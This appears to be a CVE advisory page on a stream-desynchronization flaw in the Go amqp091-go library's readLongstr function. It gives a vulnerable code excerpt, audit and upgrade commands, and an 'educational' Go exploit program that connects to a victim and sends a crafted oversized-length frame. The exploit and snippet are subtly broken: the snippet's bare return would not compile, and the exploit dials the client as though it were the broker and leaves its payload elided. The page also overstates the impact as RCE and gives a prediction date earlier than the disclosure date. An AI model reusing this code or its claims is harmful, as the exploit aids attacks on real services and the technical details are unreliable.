Listen to this Post
CVE-2026-77411 is a critical stream desynchronization vulnerability in the RabbitMQ amqp091-go library, a Go client for the AMQP 0.9.1 protocol. The flaw resides in the `readLongstr` function within read.go, which is responsible for parsing long string fields from AMQP table data. The vulnerability is triggered when a malicious or compromised broker sends an oversized `longstr` field with a declared length exceeding `0x7FFFFFFF` (the maximum signed 32-bit integer, approximately 2.1 GiB). Instead of returning an `ErrSyntax` error as required by the AMQP specification, the function silently returns an empty string ("") with a `nil` error. This improper error handling causes the parser to falsely believe the read was successful, while the declared bytes are never consumed from the underlying network buffer. The parser’s internal cursor is therefore not advanced, leaving the malformed payload in the TCP stream. Subsequent parsing operations in `readTable` continue from an incorrect offset, completely desynchronizing the byte alignment. This desynchronization allows an attacker to craft trailing payload bytes that mimic valid AMQP frames, such as connection.close, channel.open, or message publishing frames. The client or server may then execute unintended actions, leading to Remote Code Execution (RCE), data injection, or complete connection hijacking. The vulnerability is classified as CWE-754 (Improper Check for Unusual or Exceptional Conditions) and has a CVSS v4.0 base score of 9.5 (Critical). It affects all versions prior to 1.13.0 and is fixed in version 1.13.0.
DailyCVE Form:
Platform: RabbitMQ amqp091-go
Version: < 1.13.0
Vulnerability : Protocol Desynchronization
Severity: Critical
date: 2026-09-16
Prediction: 2026-07-21
What Undercode Say
Check current amqp091-go version in your Go project go list -m github.com/rabbitmq/amqp091-go Audit dependencies for vulnerable versions go list -m all | grep amqp091-go Search for readLongstr usage in your codebase grep -r "readLongstr" $GOPATH/pkg/mod/github.com/rabbitmq/amqp091-go
// Vulnerable code snippet from read.go (prior to 1.13.0)
func (r reader) readLongstr() (string, error) {
var length uint32
if err := r.read(&length); err != nil {
return "", err
}
// BUG: silent no-op, bytes left in stream
if length > (^uint32(0) >> 1) {
return // returns "", nil, does NOT consume `length` bytes
}
buf := make([]byte, length)
if err := r.read(buf); err != nil {
return "", err
}
return string(buf), nil
}
// The calling context in readTable continues parsing under the
// false assumption that the string was successfully read.
func (r reader) readTable() (Table, error) {
// ... iteration logic ...
value, err := r.readLongstr()
if err != nil {
return nil, err
}
// Parser cursor is now misaligned relative to the wire buffer.
// Attacker-controlled trailing bytes are interpreted as
// subsequent AMQP fields or frame headers.
}
Exploit: (Educational Purposes!)
Simulate a malicious AMQP broker response with an oversized longstr (Conceptual demonstration — requires a custom AMQP server implementation) Step 1: Capture a legitimate AMQP handshake tcpdump -i lo -w amqp_handshake.pcap port 5672 Step 2: Craft a malicious frame using Python (scapy) or Go The longstr length field is set to 0x80000000 (2,147,483,648) This exceeds 0x7FFFFFFF and triggers the silent return. Step 3: Send the crafted frame to the victim client The client's parser desynchronizes, and trailing bytes are interpreted as arbitrary AMQP frames (e.g., connection.close).
// Conceptual exploit payload construction (educational only)
package main
import (
"encoding/binary"
"net"
)
func main() {
conn, _ := net.Dial("tcp", "victim-client:5672")
defer conn.Close()
// AMQP frame header: type, channel, size
frameHeader := []byte{0x01, 0x00, 0x00, 0x00}
// Frame payload: oversized longstr length (0x80000000)
oversizedLength := make([]byte, 4)
binary.BigEndian.PutUint32(oversizedLength, 0x80000000)
// Trailing bytes crafted to mimic valid AMQP frames
maliciousTrailer := []byte{
0x01, 0x00, 0x00, 0x00, // connection.close frame
// ... crafted payload ...
}
payload := append(oversizedLength, maliciousTrailer...)
frame := append(frameHeader, payload...)
conn.Write(frame)
}
Protection: from this CVE
Immediate remediation: upgrade to version 1.13.0 or later go get github.com/rabbitmq/[email protected] Update go.mod and go.sum go mod tidy Verify the upgrade go list -m github.com/rabbitmq/amqp091-go Expected output: github.com/rabbitmq/amqp091-go v1.13.0 Vendor dependencies if your project uses vendoring go mod vendor Rebuild and redeploy your application go build -o myapp .
In go.mod, ensure the version is pinned to >= 1.13.0 require ( github.com/rabbitmq/amqp091-go v1.13.0 )
Impact:
- Parser Desynchronization: Future AMQP frame headers are read from arbitrary offsets inside the attacker-controlled message payload.
- Payload Reinterpretation: A malicious actor can craft trailing bytes to perfectly mimic valid AMQP frames (e.g.,
connection.close,channel.open, or message publishing frames), forcing the client/server to execute unintended actions. - Remote Code Execution (RCE): Potential for arbitrary code execution on the affected system.
- Data Injection: Attackers can inject or manipulate data processed by the application.
- Connection Hijacking: Complete control over the AMQP connection can be achieved.
- Denial of Service: Misinterpreted protocol commands can lead to crashes or resource exhaustion.
- CWE-754: Improper Check for Unusual or Exceptional Conditions.
- CVSS 9.5 (Critical): Network attack vector, low complexity, no privileges required, high impact on confidentiality, integrity, and availability.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
